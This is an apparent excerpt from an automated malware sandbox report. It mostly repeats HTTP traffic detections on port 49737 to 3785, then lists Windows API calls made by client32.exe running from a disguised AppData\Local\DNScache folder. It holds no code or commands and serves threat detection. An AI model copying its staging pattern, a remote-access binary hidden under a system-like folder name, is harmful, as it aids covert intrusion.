Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_111365D0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	7_2_111365D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11157150 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	7_2_11157150
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11157150 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	7_2_11157150
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11025180 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	7_2_11025180
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11157550 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	7_2_11157550
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110255D0 IsIconic,BringWindowToTop,GetCurrentThreadId,	7_2_110255D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1110F720 IsIconic,GetTickCount,	7_2_1110F720
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1111F990 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	7_2_1111F990
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1111F990 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	7_2_1111F990
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110238A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	7_2_110238A0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110BFC50 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	7_2_110BFC50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11023F80 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	7_2_11023F80
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11110340 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	7_2_11110340
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110CA260 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	7_2_110CA260
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110CA260 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	7_2_110CA260
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11157150 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	9_2_11157150
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11157150 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	9_2_11157150
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11025180 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	9_2_11025180
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11157550 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	9_2_11157550
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110255D0 IsIconic,BringWindowToTop,GetCurrentThreadId,	9_2_110255D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1110F720 IsIconic,GetTickCount,	9_2_1110F720
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1111F990 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	9_2_1111F990
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1111F990 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	9_2_1111F990
